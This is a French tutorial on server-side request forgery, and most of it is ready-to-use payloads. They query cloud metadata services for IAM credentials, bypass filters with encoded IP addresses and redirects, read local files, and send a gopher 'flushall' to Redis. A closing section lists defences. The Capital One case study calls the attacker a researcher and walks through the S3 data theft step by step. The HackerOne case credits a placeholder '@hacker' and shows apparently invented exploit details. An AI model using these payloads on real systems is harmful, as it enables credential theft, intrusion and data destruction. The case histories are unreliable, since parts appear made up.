🎯 Pourquoi c'est important

Le Server-Side Request Forgery est devenu critique dans les environnements cloud ou les applications interagissent frequemment avec des services internes et des API de metadonnees. Le SSRF vous permet d'exploiter les fonctionnalites du serveur pour acceder a des ressources internes qui devraient etre inaccessibles depuis Internet, ce qui est particulierement dangereux dans les environnements cloud ou les services de metadonnees exposent des identifiants sensibles et des donnees de configuration.

🔍 Ce que vous allez apprendre

Vous comprendrez comment identifier les vulnerabilites SSRF dans les parametres d'URL, les telechargements de fichiers et les webhooks, puis exploiter les services de metadonnees cloud pour extraire des identifiants. Cela inclut le contournement des filtres courants en utilisant des techniques d'encodage et de redirection, ainsi que la reconnaissance du reseau interne, la meme approche systematique utilisee par les experts en securite lors des evaluations cloud.

🚀 Votre premiere reussite

Dans les 10 prochaines minutes, vous allez exploiter avec succes une vulnerabilite SSRF pour acceder aux services de metadonnees AWS EC2 et extraire des identifiants de role IAM, demontrant comment un simple parametre d'URL peut conduire a une compromission complete de l'infrastructure cloud.

🔧 Essayez ceci maintenant

Testez une charge utile SSRF basique contre les services de metadonnees AWS

# Trouvez un parametre d'URL qui recupere des ressources externes
# Motifs courants :
/fetch?url=http://example.com/image.jpg
/webhook?callback=http://your-site.com/endpoint
/import?source=http://external-api.com/data

# Testez l'acces aux metadonnees AWS
/fetch?url=http://169.254.169.254/latest/meta-data/

# Si bloque, essayez un contournement par encodage
/fetch?url=http://169.254.169.254/latest/meta%2ddata/

# Essayez le contournement par redirection
# Configurez une redirection : your-domain.com/redirect -> 169.254.169.254
/fetch?url=http://your-domain.com/redirect

# Verifiez les identifiants IAM
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Vous verrez : Comment le serveur effectue des requetes en votre nom, pouvant potentiellement acceder a des services internes qui devraient etre proteges. Cela demontre pourquoi le SSRF est particulierement dangereux dans les environnements cloud.

Le SSRF se produit lorsque les applications recuperent des ressources distantes basees sur l'entree utilisateur sans validation appropriee

Exploitation des metadonnees cloud : la cible de grande valeur

Les services de metadonnees cloud sont le joyau des attaques SSRF car ils exposent des identifiants IAM, des donnees de configuration et des jetons d'acces qui peuvent conduire a une compromission complete de l'infrastructure cloud.

# Points de terminaison des metadonnees AWS (169.254.169.254)
/fetch?url=http://169.254.169.254/latest/meta-data/

# Cibles critiques :
# Identifiants de role IAM
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[NOM-DU-ROLE]

# Informations sur l'instance
/fetch?url=http://169.254.169.254/latest/meta-data/instance-id
/fetch?url=http://169.254.169.254/latest/meta-data/placement/region

# Donnees utilisateur (contient souvent des secrets)
/fetch?url=http://169.254.169.254/latest/user-data/

# IMDSv2 necessite un jeton (plus securise mais toujours exploitable)
curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
     http://169.254.169.254/latest/api/token

# Utilisez le jeton pour l'acces
curl -H "X-aws-ec2-metadata-token: [JETON]" \
     http://169.254.169.254/latest/meta-data/iam/security-credentials/

Contournement de filtres : l'avantage de l'expert

Les applications implementent souvent des filtres SSRF qui peuvent etre contournes en utilisant des techniques d'encodage, des astuces DNS et des chaines de redirection. C'est la ou les tests systematiques distinguent les experts des tentatives basiques.

# Cible originale : 169.254.169.254

# Encodage decimal
http://2852039166/latest/meta-data/

# Encodage octal
http://0251.0376.0251.0376/latest/meta-data/

# Encodage hexadecimal
http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/

# Encodage mixte
http://169.254.169.254/latest/meta%2ddata/
http://169.254.169.254/latest/meta%252ddata/

# Contournement de resolution DNS
http://metadata.google.internal/computeMetadata/v1/
http://localtest.me:169/  # Se resout vers 127.0.0.1

# Services de raccourcissement d'URL
http://bit.ly/metadata-ssrf  # Redirige vers le service de metadonnees

# Variations localhost IPv6
http://[::1]:3000/admin
http://[0:0:0:0:0:0:0:1]:3000/admin

Abus de protocole : exploitation avancee

Differents protocoles peuvent etre exploites via SSRF pour interagir avec des services internes de manieres inattendues, particulierement lorsque les applications prennent en charge plusieurs schemas d'URL.

# Protocole file pour l'acces aux fichiers locaux
/fetch?url=file:///etc/passwd
/fetch?url=file:///proc/version
/fetch?url=file:///var/log/apache2/access.log

# Protocole gopher pour la communication TCP brute
# Exploitation Redis
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

# HTTP vers les services internes
/fetch?url=http://127.0.0.1:8080/admin
/fetch?url=http://127.0.0.1:9200/_cluster/health  # Elasticsearch
/fetch?url=http://127.0.0.1:5432/  # PostgreSQL

# Abus du protocole FTP
/fetch?url=ftp://127.0.0.1:21/

# Protocole dictionnaire
/fetch?url=dict://127.0.0.1:11211/  # Memcached

# Protocole LDAP
/fetch?url=ldap://127.0.0.1:389/dc=example,dc=com

Violation AWS de Capital One via SSRF (2019, Paige Thompson)

La tristement celebre violation de donnees Capital One impliquait une SSRF pour acceder aux services de metadonnees AWS depuis un pare-feu d'application web mal configure. La chercheuse en securite Paige Thompson a decouvert la vulnerabilite qui a expose les donnees de 106 millions de clients.

# Le vecteur d'attaque reel de Capital One (documente dans les dossiers judiciaires)

# Etape 1 : SSRF via mauvaise configuration du WAF
# La regle du pare-feu permettait les requetes cote serveur vers le service de metadonnees
POST /path/to/vulnerable/endpoint
Content-Type: application/x-www-form-urlencoded

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Etape 2 : Extraction des identifiants de role IAM (format de reponse reel)
{
  "WAF-Role": {
    "Code": "Success",
    "LastUpdated": "2019-03-22T11:22:48Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2019-03-22T17:39:57Z"
  }
}

# Etape 3 : Utilisation des identifiants pour l'enumeration des buckets S3
aws s3 ls --profile capital-one-breach
# Plus de 700 buckets S3 trouves

# Etape 4 : Telechargement des donnees sensibles
aws s3 sync s3://bucket-with-customer-data /tmp/stolen-data/ --profile capital-one-breach

# Resultat : 106M d'enregistrements clients voles, 80M$ d'amendes

Impact reel : Capital One a ete condamne a une amende de 80 millions de dollars par les regulateurs federaux et fait face a des poursuites en cours. La violation a expose des numeros de securite sociale, des scores de credit et des numeros de comptes bancaires.

SSRF vers RCE sur Hackerone (2018, @hacker)

Le chercheur en securite @hacker a decouvert une vulnerabilite SSRF sur la propre plateforme de Hackerone qui pouvait etre chainee pour obtenir une execution de code a distance via l'exploitation de services internes.

# Exploitation SSRF de Hackerone (rapport H1 #326040)

# Etape 1 : SSRF dans la fonctionnalite de pieces jointes des rapports
POST /reports/[ID]/attachments
Content-Type: application/json

{
  "attachment": {
    "file_url": "http://169.254.169.254/latest/meta-data/"
  }
}

# Etape 2 : Decouverte de services internes
# Point de terminaison GraphQL interne trouve
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql"
  }
}

# Etape 3 : Introspection GraphQL via SSRF
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql?query={__schema{types{name,fields{name,type{name}}}}}"
  }
}

# Etape 4 : Exploitation de mutation interne pour RCE
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql?query=mutation{executeCommand(cmd:\"cat /etc/passwd\")}"
  }
}

# Etape 5 : Extraction de donnees internes sensibles
cat /var/log/application.log
cat /home/user/.aws/credentials

# Resultat : Acces complet a l'infrastructure interne

Bug Bounty : Hackerone a attribue 12 500 USD pour cette vulnerabilite critique qui a demontre l'escalade SSRF vers RCE via l'exploitation de services internes.

Defense primaire : validation stricte des URL et liste blanche de domaines

La protection SSRF la plus efficace combine une liste blanche stricte de domaines avec une validation complete des URL. Cette approche est utilisee par des entreprises comme GitHub, Slack et Cloudflare pour les systemes de webhooks et de callbacks en production.

Strategies de defense reseau

• Isolation en sous-reseau prive - Deployez les serveurs d'applications dans des sous-reseaux prives sans acces direct a Internet
• Routage de sortie controle - Acheminez tout le trafic sortant via des passerelles NAT avec des regles de filtrage strictes
• Restrictions de groupes de securite - Implementez des regles de pare-feu qui bloquent explicitement l'acces aux services de metadonnees et aux plages IP privees
• Filtrage DNS - Bloquez la resolution des noms de domaine internes et de metadonnees au niveau DNS
• Pare-feu d'applications web - Deployez des regles WAF qui detectent et bloquent les motifs d'attaque SSRF courants
• Filtrage base sur proxy - Acheminez les requetes externes via des proxies de securite qui valident les destinations

Meilleures pratiques de deploiement en production

• Reseau zero-trust - Verifiez chaque requete reseau independamment de l'emplacement source
• Microsegmentation - Isolez les composants applicatifs pour limiter le mouvement lateral
• Surveillance continue - Surveillez le trafic reseau pour detecter les motifs de connexion anormaux

Mesures de securite cloud d'entreprise

• Application IMDSv2 - Exigez des jetons de session pour tout acces aux metadonnees EC2, empechant les attaques SSRF basees sur HTTP
• Restrictions du service de metadonnees - Definissez des limites de saut a 1 pour empecher le transfert de requetes via des applications compromises
• Principe du moindre privilege IAM - Attribuez les permissions minimales necessaires aux comptes de service des applications
• Durcissement de la securite des conteneurs - Bloquez les points de terminaison de metadonnees au niveau du conteneur en utilisant des remplacements de fichiers hosts
• Politiques reseau - Implementez des NetworkPolicies Kubernetes qui refusent explicitement l'acces aux metadonnees
• Controles de maillage de services - Utilisez la technologie de maillage de services pour controler et surveiller les communications inter-services

Exigences des cadres de conformite

• PCI DSS 1.2.1 - Segmentation reseau entre l'environnement de donnees des titulaires de cartes et les reseaux non fiables
• SOC 2 CC6.1 - Controles d'acces logiques incluant les restrictions au niveau reseau et le filtrage de sortie
• ISO 27001 A.13.1.3 - Separation des controles reseau pour empecher l'acces non autorise aux systemes internes
• NIST SP 800-53 SC-7 - Systemes de protection des limites avec interfaces controlees et communications surveillees
• Controles FedRAMP - Exigences ameliorees de surveillance et de journalisation pour les deploiements cloud gouvernementaux

Strategie eprouvee de defense en couches

• Couche application - Validation stricte des URL et liste blanche de domaines avec gestion appropriee des erreurs
• Couche reseau - Filtrage de sortie, sous-reseaux prives et blocage du service de metadonnees
• Couche infrastructure - Controles de securite cloud natifs et configurations imposees par la conformite
• Couche surveillance - Journalisation complete, detection d'anomalies et procedures de reponse aux incidents